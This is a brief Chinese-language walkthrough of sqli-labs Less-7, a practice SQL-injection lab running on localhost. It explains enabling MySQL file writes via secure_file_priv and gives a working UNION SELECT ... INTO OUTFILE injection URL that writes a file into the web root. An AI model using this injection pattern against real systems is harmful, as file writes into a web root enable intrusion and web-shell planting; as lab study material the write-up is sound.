Less-7: 输出文件
sql导出文件语句
select * from table_test into outfile 'test.txt'
既然名字是输出文件，那肯定是和文件有关系。
首先，确保sql有写文件权限，即my.ini中有类似下面的语句。这里我作弊了，直接设置了sqli-labs-master的文件夹可以写文件。
secure_file_priv="D:/phpStudy/WWW/sqli-labs-master"
中间过程略过。最终写文件的语句为：
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,@@version into outfile 'D:\\phpStudy\\WWW\\sqli-labs-master\\test_7.txt' -- a
直接通过http请求可以看到页面
http://127.0.0.1/sqli-labs-master/test_7.txt